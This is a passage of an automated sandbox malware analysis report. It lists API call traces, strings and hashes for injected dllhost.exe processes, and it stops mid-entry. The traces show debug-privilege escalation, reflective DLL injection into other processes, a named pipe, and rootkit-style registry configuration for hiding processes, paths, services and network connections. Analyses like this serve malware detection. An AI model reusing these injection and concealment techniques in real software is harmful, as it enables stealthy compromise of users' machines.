API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction ID: 360a348532fe5a92972625e17eb10d7484a17190da89f7f21496a8893d4be203
Opcode Fuzzy Hash: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction Fuzzy Hash: 76215622605F88C6EB518F5AE80825EF3A1FBC4B94F954015FE8D47B24EB78C4569750

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B1274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000242878B127A
HeapAlloc.KERNEL32 ref: 00000242878B1289
GetProcessHeap.KERNEL32 ref: 00000242878B12A3
HeapAlloc.KERNEL32 ref: 00000242878B12B4

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction ID: a8eb5a468c1ff8a4eae72fee16c0ea1cdc69b1dd1897ee5b43121a01d5569298
Opcode Fuzzy Hash: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction Fuzzy Hash: E2E03971602A08DAF7448F63D80834936E1EBC9B01F898028D90907750EF7D849AA761

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dllhost.exePID: 5800, Parent PID: 552COMMON

Execution Graph

Execution Coverage:	68.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	39.3%
Total number of Nodes:	61
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001B30 Relevance: 18.2, APIs: 12, Instructions: 187
registrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001908: K32GetModuleInformation.KERNEL32 ref: 00000001400019B0
Part of subcall function 0000000140001908: CreateFileW.KERNELBASE ref: 00000001400019E0
Part of subcall function 0000000140001908: CreateFileMappingW.KERNELBASE ref: 0000000140001A0B
Part of subcall function 0000000140001908: MapViewOfFile.KERNELBASE ref: 0000000140001A2F
Part of subcall function 0000000140001908: lstrcmpi.KERNEL32 ref: 0000000140001A7A
Part of subcall function 0000000140001908: FindCloseChangeNotification.KERNELBASE ref: 0000000140001AE8

LookupPrivilegeValueW.ADVAPI32 ref: 0000000140001C31
AdjustTokenPrivileges.ADVAPI32 ref: 0000000140001C75
FindCloseChangeNotification.KERNELBASE ref: 0000000140001C88
FindResourceA.KERNEL32 ref: 0000000140001C9C
RegCreateKeyExW.ADVAPI32 ref: 0000000140001D2C
RegSetKeySecurity.ADVAPI32 ref: 0000000140001D7C
RegCreateKeyExW.ADVAPI32 ref: 0000000140001DC1
RegSetValueExW.ADVAPI32 ref: 0000000140001DF9
RegCloseKey.ADVAPI32 ref: 0000000140001E04
CreateThread.KERNELBASE ref: 0000000140001E30
CreateThread.KERNELBASE ref: 0000000140001E74
SleepEx.KERNEL32 ref: 0000000140001E7C

Memory Dump Source

Source File: 00000016.00000002.2085757008.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_dllhost.jbxd

Similarity

API ID: Create$CloseFileFind$ChangeNotificationThreadValue$AdjustInformationLookupMappingModulePrivilegePrivilegesResourceSecuritySleepTokenViewlstrcmpi
String ID:
API String ID: 3489061390-0
Opcode ID: 5edfb5cbc0324eee5daa172a89d16951d682391955e0b3df23fa179d5a448a1d
Instruction ID: b0e1fb852f6e0543cbb1d0b345f32bc6fd7345078760f1e0bc57de08f7ced3b6
Opcode Fuzzy Hash: 5edfb5cbc0324eee5daa172a89d16951d682391955e0b3df23fa179d5a448a1d
Instruction Fuzzy Hash: CF9109B6205B8096EB26CF62F8547DA73A9F78CB94F408125EB4A47B74DF78C549C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000119C Relevance: 6.1, APIs: 4, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32EnumProcesses.KERNEL32 ref: 000000014000121B
K32EnumProcessModules.KERNEL32 ref: 000000014000126E
RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000130A
RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000131E

Memory Dump Source

Source File: 00000016.00000002.2085757008.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_dllhost.jbxd

Similarity

API ID: BoundaryDeleteDescriptorEnum$ModulesProcessProcesses
String ID:
API String ID: 330119047-0
Opcode ID: b99cea897b55ce22ee55f00a709a12b981a6df01a8b7777c8743b117f59de58e
Instruction ID: 722e7c41bd921b01580d5e9fcb7604c5b43dbddabd9dc005843a26f70c2221f1
Opcode Fuzzy Hash: b99cea897b55ce22ee55f00a709a12b981a6df01a8b7777c8743b117f59de58e
Instruction Fuzzy Hash: 6B5189B2711A809AEB66CF63A848BEA22A5F78DBC4F444025EF4A47768DF38C555C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000165C Relevance: 1.6, APIs: 1, Instructions: 88
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeW.KERNELBASE ref: 000000014000178C

Memory Dump Source

Source File: 00000016.00000002.2085757008.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_dllhost.jbxd

Similarity

API ID: CreateNamedPipe
String ID:
API String ID: 2489174969-0
Opcode ID: 62dafb1268ee9213ecbaf6c178ea5b5ed500df257eb2683acba7299805e1f63b
Instruction ID: 5e84f6bf4889631b23437abf526e9bdf5af4b3ca6bd4e12e17f1e2086ffe5991
Opcode Fuzzy Hash: 62dafb1268ee9213ecbaf6c178ea5b5ed500df257eb2683acba7299805e1f63b
Instruction Fuzzy Hash: 7B414BB2615B50CAE761CF25E4807DD77B4F788B98F44522AFB4943BA8EB78C548CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001908 Relevance: 9.1, APIs: 6, Instructions: 128
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32GetModuleInformation.KERNEL32 ref: 00000001400019B0
CreateFileW.KERNELBASE ref: 00000001400019E0
CreateFileMappingW.KERNELBASE ref: 0000000140001A0B
MapViewOfFile.KERNELBASE ref: 0000000140001A2F
lstrcmpi.KERNEL32 ref: 0000000140001A7A
FindCloseChangeNotification.KERNELBASE ref: 0000000140001AE8

Memory Dump Source

Source File: 00000016.00000002.2085757008.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_dllhost.jbxd

Similarity

API ID: File$Create$ChangeCloseFindInformationMappingModuleNotificationViewlstrcmpi
String ID:
API String ID: 910215268-0
Opcode ID: 2f1acf1cbdab51ed4474075f2a8db35881d4879a2f724898911980b73aff03a9
Instruction ID: f2b1c273cdc5545e6e8c12de746a27ba9334337610d31b556cae7d200a6f3496
Opcode Fuzzy Hash: 2f1acf1cbdab51ed4474075f2a8db35881d4879a2f724898911980b73aff03a9
Instruction Fuzzy Hash: 3B5139B6305A8192EB22DF16B458BDA73A9FB8DBD8F044125EF4A037A4DF38C549C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001584 Relevance: 3.1, APIs: 2, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,?,?,?,00000000,00000001400010A1), ref: 00000001400015C6
GetTokenInformation.KERNELBASE(?,?,?,?,00000000,00000001400010A1), ref: 0000000140001609

Memory Dump Source

Source File: 00000016.00000002.2085757008.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_dllhost.jbxd

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: bb1ede16d749b0aa8d49f68615aa5427a420d8c7a4dd9ca7b8525546133cb06c
Instruction ID: 2eae3c48201e6f103262f764e10c79d14b5d21d5893c39f3542a132d265f3134
Opcode Fuzzy Hash: bb1ede16d749b0aa8d49f68615aa5427a420d8c7a4dd9ca7b8525546133cb06c
Instruction Fuzzy Hash: B52139B6204A8082EB12CF62F85479AB764FBCCBD4F448525EB8947B78DF79C545CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001ED0 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32EnumProcesses.KERNEL32 ref: 0000000140001F31

Memory Dump Source

Source File: 00000016.00000002.2085757008.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_dllhost.jbxd

Similarity

API ID: EnumProcesses
String ID:
API String ID: 84517404-0
Opcode ID: 62dbe63adaa786fff5273d6083a5c992f197b0eddf441f0438fa731615d6977e
Instruction ID: 3e335d43075e719169e469211f82513eafd9eb7e81d155af191f1dae7c0dcdef
Opcode Fuzzy Hash: 62dbe63adaa786fff5273d6083a5c992f197b0eddf441f0438fa731615d6977e
Instruction Fuzzy Hash: F2214AB6605A129BE716CF17B4547EAB6A6F7C9BD1F144028EB4607A78CF39D440CA40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400014EC Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000103E), ref: 000000014000153B

Memory Dump Source

Source File: 00000016.00000002.2085757008.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_dllhost.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 6bc9b99de388f3e59490879e904058593ad480db252299c408dbbe8cd014b142
Instruction ID: 44c5bdf9c31fdf4bd35f48c43806700b171b0c8e6473a7c39bf54194b38a2f46
Opcode Fuzzy Hash: 6bc9b99de388f3e59490879e904058593ad480db252299c408dbbe8cd014b142
Instruction Fuzzy Hash: D2F03071705B8183EB16CF57B98439A6661E78CBC1F489139FB8A43768DF38C485C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001F94 Relevance: 1.5, APIs: 1, Instructions: 24
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000165C: CreateNamedPipeW.KERNELBASE ref: 000000014000178C

ConnectNamedPipe.KERNELBASE ref: 0000000140001FC6

Memory Dump Source

Source File: 00000016.00000002.2085757008.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$ConnectCreate
String ID:
API String ID: 2149227607-0
Opcode ID: b4d669792a3cca6b1818fcb625241faabf3001f357681174e00ecfcf82171d6e
Instruction ID: 32f579bea11482fe29c7866e40561744ab130bf1df4bedb027ae58d6efce7050
Opcode Fuzzy Hash: b4d669792a3cca6b1818fcb625241faabf3001f357681174e00ecfcf82171d6e
Instruction Fuzzy Hash: 5AF058B1204B4591EB16DF23F8143EA63A4AB8CBE0F588324BB6A436F4DF38C508C700

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dllhost.exePID: 8, Parent PID: 5088COMMON

Execution Graph

Execution Coverage:	64%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.1%
Total number of Nodes:	226
Total number of Limit Nodes:	28

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401B33 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,00401F85), ref: 00401B3D
OpenProcess.KERNEL32(00000410,00000000,00000000,?,?,?,?,?,00401F85), ref: 00401B4A
OpenProcessToken.ADVAPI32(00000000,00000028,?,?,?,?,?,?,00401F85), ref: 00401B5D
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00401B71
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000), ref: 00401BA1
GetLastError.KERNEL32 ref: 00401BAB
FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,?,?,00401F85), ref: 00401BBA

Strings

SeDebugPrivilege, xrefs: 00401B6B

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Process$OpenToken$AdjustChangeCloseCurrentErrorFindLastLookupNotificationPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 575374161-2896544425
Opcode ID: a2f0ee75bb1a659cd0d3a2553357458e0cca49601e1686e4f397b873b149c109
Instruction ID: 94f0b810e11bf8bc0d9ea5a63966bab554079aeeaeff7f5fb2edd46d5ef2bf77
Opcode Fuzzy Hash: a2f0ee75bb1a659cd0d3a2553357458e0cca49601e1686e4f397b873b149c109
Instruction Fuzzy Hash: 82011EB5A01219AFE7109FA59D89EAFBBBCEB04745F004075FA01F2295D774DF048BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 13.6, APIs: 9, Instructions: 116
nativethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401A24: OpenProcess.KERNEL32(00001000,00000000,?,?,?,00000000,?,?,004015E7), ref: 00401A41
Part of subcall function 00401A24: IsWow64Process.KERNEL32(00000000,?,?,004015E7), ref: 00401A52
Part of subcall function 00401A24: FindCloseChangeNotification.KERNELBASE(00000000,?,004015E7), ref: 00401A68

OpenProcess.KERNEL32(0000043A,00000000,?), ref: 004015FF
NtQueryInformationProcess.NTDLL(00000000,0000001D,?,00000004,00000000), ref: 00401619
CloseHandle.KERNEL32(00000000), ref: 004016F0

Part of subcall function 00401A9B: OpenProcessToken.ADVAPI32(00000000,00000008,?,?), ref: 00401AAE
Part of subcall function 00401A9B: GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00401AC3
Part of subcall function 00401A9B: GetLastError.KERNEL32 ref: 00401ACD
Part of subcall function 00401A9B: LocalAlloc.KERNEL32(00000000,?,00000000), ref: 00401ADD
Part of subcall function 00401A9B: GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,?,?), ref: 00401AF6
Part of subcall function 00401A9B: GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 00401B02
Part of subcall function 00401A9B: GetSidSubAuthority.ADVAPI32(00000000,?), ref: 00401B0F
Part of subcall function 00401A9B: LocalFree.KERNEL32(00000000), ref: 00401B1E
Part of subcall function 00401A9B: CloseHandle.KERNEL32(?), ref: 00401B28

Part of subcall function 00401CD2: StrStrA.SHLWAPI(00000000,ReflectiveDllMain), ref: 00401D39

VirtualAllocEx.KERNELBASE(00000000,00000000,?,00003000,00000040), ref: 0040166C
WriteProcessMemory.KERNELBASE(00000000,00000000,?,?,00000000), ref: 00401681

Part of subcall function 00401A7C: GetModuleHandleA.KERNEL32(ntdll.dll,004016AA,?,001FFFFF,00000000,00000000,00002000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401A81
Part of subcall function 00401A7C: GetProcAddress.KERNEL32(00000000,NtCreateThreadEx), ref: 00401A91

NtCreateThreadEx.NTDLL(?,001FFFFF,00000000,00000000,00002000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004016AA
WaitForSingleObject.KERNEL32(?,00000064), ref: 004016C2
GetExitCodeThread.KERNEL32(?,?), ref: 004016D3
FindCloseChangeNotification.KERNELBASE(?), ref: 004016E9

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Process$Close$HandleInformationOpenToken$AllocAuthorityChangeFindLocalNotificationThread$AddressCodeCountCreateErrorExitFreeLastMemoryModuleObjectProcQuerySingleVirtualWaitWow64Write
String ID:
API String ID: 2389754940-0
Opcode ID: 8d352eb32a48a557f2ff996115c836c9804492d69efe05eb0cb64db553f73f09
Instruction ID: 951545e82e6dc0c965935b179c794656d07d6bb01e9cf9b4bfb8f24a082405a0
Opcode Fuzzy Hash: 8d352eb32a48a557f2ff996115c836c9804492d69efe05eb0cb64db553f73f09
Instruction Fuzzy Hash: 93312571A01219BBDB109FE5CD84AAF7ABDAF44749F14457AF600F22A0D775DE00CA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401BC6 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401BEE
SetEntriesInAclW.ADVAPI32(00000001,?,00000000,004021FE), ref: 00401C33
LocalAlloc.KERNEL32(00000040,00000014), ref: 00401C41
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00401C50
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,004021FE,00000000), ref: 00401C61
CreateNamedPipeW.KERNELBASE(\\.\pipe\$sxrchildproc34226543a32,00000003,00000000,000000FF,00000400,00000400,00000000,?), ref: 00401C8D

Strings

\\.\pipe\$sxrchildproc34226543a32, xrefs: 00401C89

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID: \\.\pipe\$sxrchildproc34226543a32
API String ID: 3197395349-4098291161
Opcode ID: 969633bd7e0c345e5ba63a4ff6d283e29e8a6149993329581a75ca672ae4c306
Instruction ID: 2580ba7714949e4ab5af2f6201017f93077f831f3c2deb1848648c4242cdec54
Opcode Fuzzy Hash: 969633bd7e0c345e5ba63a4ff6d283e29e8a6149993329581a75ca672ae4c306
Instruction Fuzzy Hash: 602112B0941209BAEB119F95DD89BFFBBBCEF04755F10002AF615F62D4D7B48A048A64

Uniqueness

Uniqueness Score: -1.00%

Function 00401377 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 168
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00000020,74DF2E90,74DF0F10,74DEF380,?,?,?,?,?,0040207F), ref: 00401385
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,0040207F), ref: 0040138C

Part of subcall function 0040115E: GetProcessHeap.KERNEL32(00000000,00000010,00000000,00401399,?,?,?,?,?,0040207F), ref: 00401163
Part of subcall function 0040115E: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,0040207F), ref: 0040116A
Part of subcall function 0040115E: GetProcessHeap.KERNEL32(00000000,00000040,?,?,?,?,?,0040207F), ref: 00401187
Part of subcall function 0040115E: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,0040207F), ref: 0040118E

Part of subcall function 00401000: GetProcessHeap.KERNEL32(00000000,0000000C,00000000,004013A0,?,?,?,?,?,0040207F), ref: 00401005
Part of subcall function 00401000: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,0040207F), ref: 0040100C
Part of subcall function 00401000: GetProcessHeap.KERNEL32(00000000,00000040,?,?,?,?,?,0040207F), ref: 00401022
Part of subcall function 00401000: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,0040207F), ref: 00401029

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\$sxrconfig,00000000,00020119,?,?,?,?,?,?,0040207F), ref: 004013ED
RegOpenKeyExW.ADVAPI32(?,startup,00000000,00020019,?,?,?,?,?,?,0040207F), ref: 00401409
RegCloseKey.ADVAPI32(?,?,?,?,?,?,0040207F), ref: 00401424

Part of subcall function 00401036: RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00401546,00000000,00000000,00000000,00000000,75A8EB20,00000000,75A8E9B0), ref: 0040105A
Part of subcall function 00401036: RegEnumValueW.ADVAPI32(?,00000000,?,00000064,00000000,?,?,?), ref: 0040109A
Part of subcall function 00401036: GetProcessHeap.KERNEL32(00000000,00402119), ref: 004010D8
Part of subcall function 00401036: HeapAlloc.KERNEL32(00000000), ref: 004010DF
Part of subcall function 00401036: GetProcessHeap.KERNEL32(00000000,?), ref: 00401101
Part of subcall function 00401036: HeapFree.KERNEL32(00000000), ref: 00401108

RegOpenKeyExW.ADVAPI32(?,pid,00000000,00020019,?,?,?,?,?,?,0040207F), ref: 00401439
RegCloseKey.KERNELBASE(?,?,?,?,?,?,0040207F), ref: 0040144D
RegOpenKeyExW.ADVAPI32(?,process_names,00000000,00020019,0040207F,?,?,?,?,?,0040207F), ref: 00401462
RegCloseKey.ADVAPI32(0040207F,?,?,?,?,?,0040207F), ref: 00401478
RegOpenKeyExW.ADVAPI32(?,paths,00000000,00020019,?,?,?,?,?,?,0040207F), ref: 0040148D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,0040207F), ref: 004014A3
RegOpenKeyExW.ADVAPI32(?,service_names,00000000,00020019,?,?,?,?,?,?,0040207F), ref: 004014B8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,0040207F), ref: 004014CE
RegOpenKeyExW.ADVAPI32(?,tcp_local,00000000,00020019,?,?,?,?,?,?,0040207F), ref: 004014E3
RegCloseKey.ADVAPI32(?,?,?,?,?,?,0040207F), ref: 004014F7
RegOpenKeyExW.ADVAPI32(?,tcp_remote,00000000,00020019,?,?,?,?,?,?,0040207F), ref: 0040150C
RegCloseKey.ADVAPI32(?,?,?,?,?,?,0040207F), ref: 00401520
RegOpenKeyExW.ADVAPI32(?,udp,00000000,00020019,?,?,?,?,?,?,0040207F), ref: 00401535

Part of subcall function 0040119B: RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,004014CA,00000000,00000000,00000000,00000000,75A8EB20,75A8E9B0), ref: 004011BE
Part of subcall function 0040119B: GetProcessHeap.KERNEL32(00000000,0000020A,00000000), ref: 004011D3
Part of subcall function 0040119B: HeapAlloc.KERNEL32(00000000), ref: 004011DA
Part of subcall function 0040119B: RegEnumValueW.ADVAPI32(?,00000000,?,00000064,00000000,?,00000000,?), ref: 00401213
Part of subcall function 0040119B: StrCmpIW.SHLWAPI(?,00000000), ref: 0040123E
Part of subcall function 0040119B: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401276
Part of subcall function 0040119B: HeapFree.KERNEL32(00000000), ref: 0040127D

RegCloseKey.ADVAPI32(?,?,?,?,?,?,0040207F), ref: 00401549
RegCloseKey.ADVAPI32(?,?,?,?,?,?,0040207F), ref: 0040154E

Strings

SOFTWARE\$sxrconfig, xrefs: 004013E3
tcp_remote, xrefs: 00401504
startup, xrefs: 00401401
tcp_local, xrefs: 004014DB
pid, xrefs: 00401431
service_names, xrefs: 004014B0
udp, xrefs: 0040152D
paths, xrefs: 00401485
process_names, xrefs: 0040145A

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValue
String ID: SOFTWARE\$sxrconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 3905038499-3028563969
Opcode ID: 056b190c5a7003305b402996033ed08d2b60a17da93c4cead7c632d3eea7e6b4
Instruction ID: 80582fa020228838d9679a14cc1c1ce867473cb0a533c3b95f3244a6952cd940
Opcode Fuzzy Hash: 056b190c5a7003305b402996033ed08d2b60a17da93c4cead7c632d3eea7e6b4
Instruction Fuzzy Hash: 47514271A00309BBDB20AFA5DC42FAFB7B9AF48744F10013AF501BA1E5D675AE009B58

Uniqueness

Uniqueness Score: -1.00%

Function 00401F5A Relevance: 42.1, APIs: 18, Strings: 6, Instructions: 148
memoryregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401DD3: StrCpyW.SHLWAPI ref: 00401E03
Part of subcall function 00401DD3: StrCatW.SHLWAPI ref: 00401E12
Part of subcall function 00401DD3: GetModuleHandleW.KERNEL32(ntdll.dll), ref: 00401E19
Part of subcall function 00401DD3: GetCurrentProcess.KERNEL32(00000000,?,0000000C), ref: 00401E3E
Part of subcall function 00401DD3: K32GetModuleInformation.KERNEL32(00000000), ref: 00401E45
Part of subcall function 00401DD3: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401E69
Part of subcall function 00401DD3: CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000), ref: 00401E87
Part of subcall function 00401DD3: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 00401E9E
Part of subcall function 00401DD3: lstrcmpiA.KERNEL32(00401F6B,.text), ref: 00401EDC
Part of subcall function 00401DD3: FindCloseChangeNotification.KERNELBASE(?), ref: 00401F34

Part of subcall function 00401988: VerSetConditionMask.NTDLL(00000000,00000000,00000002,00000003), ref: 004019D6
Part of subcall function 00401988: VerSetConditionMask.NTDLL(00000000), ref: 004019DA
Part of subcall function 00401988: VerSetConditionMask.NTDLL(00000000), ref: 004019DE
Part of subcall function 00401988: VerifyVersionInfoW.KERNEL32 ref: 004019EB

FindResourceA.KERNEL32(00000000,00000065,DLL), ref: 00401F8F
SizeofResource.KERNEL32(00000000,00000000), ref: 00401FA1
LoadResource.KERNEL32(00000000,00000000), ref: 00401FB6
LockResource.KERNEL32(00000000), ref: 00401FC5
GetCurrentProcessId.KERNEL32 ref: 00401FD6
RegCreateKeyExW.KERNELBASE(?,pid,00000000,00000000,00000000,000F013F,00000000,?,00000000), ref: 00402001
GetCurrentProcessId.KERNEL32 ref: 00402011
RegSetValueExW.KERNELBASE(?,svc32,00000000,00000004,?,00000004), ref: 00402027
RegCloseKey.KERNELBASE(?), ref: 00402030
RegCloseKey.ADVAPI32(?), ref: 00402035
CreateThread.KERNELBASE(00000000,00000000,004021ED,0040210E,00000000,00000000), ref: 0040204B
GetProcessHeap.KERNEL32(00000000,00000008), ref: 00402056
HeapAlloc.KERNEL32(00000000), ref: 00402059
CreateThread.KERNELBASE(00000000,00000000,00402144,00000000,00000000,00000000), ref: 00402078
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 0040209C

Part of subcall function 00401DD3: VirtualProtect.KERNEL32(?,32F4B90A,00000040,?), ref: 00401F0C
Part of subcall function 00401DD3: VirtualProtect.KERNEL32(?,32F4B90A,?,?), ref: 00401F29
Part of subcall function 00401DD3: CloseHandle.KERNEL32(00000000), ref: 00401F3B
Part of subcall function 00401DD3: FreeLibrary.KERNEL32(00000000), ref: 00401F43

GetProcessHeap.KERNEL32(00000000,00000000), ref: 004020F4
HeapFree.KERNEL32(00000000), ref: 004020F7
Sleep.KERNELBASE(00000064), ref: 004020FF

Strings

open, xrefs: 00402095
svc32, xrefs: 0040201F
DLL, xrefs: 00401F85
ntdll.dll, xrefs: 00401F60
pid, xrefs: 00401FF9
kernel32.dll, xrefs: 00401F74

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: CreateProcess$CloseHeapResource$ConditionCurrentFileMask$FindFreeHandleModuleProtectThreadVirtual$AllocChangeExecuteInfoInformationLibraryLoadLockMappingNotificationShellSizeofSleepValueVerifyVersionViewlstrcmpi
String ID: DLL$kernel32.dll$ntdll.dll$open$pid$svc32
API String ID: 2281104129-3373353123
Opcode ID: b056252c1206f71e0372da97cbc3efba45776c38caa2d3a975075073fc614224
Instruction ID: 38f762a91ea52acd9cd0d10831f7bbf6a81aa2782ebd19e713fb52033b0d7939
Opcode Fuzzy Hash: b056252c1206f71e0372da97cbc3efba45776c38caa2d3a975075073fc614224
Instruction Fuzzy Hash: EB413371601204BFE714AF61DD4AE2B7A6DEF44745F10447EB602BA1E1DAB8AD01CB6C

Uniqueness

Uniqueness Score: -1.00%

Function 00401DD3 Relevance: 31.6, APIs: 14, Strings: 4, Instructions: 135
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

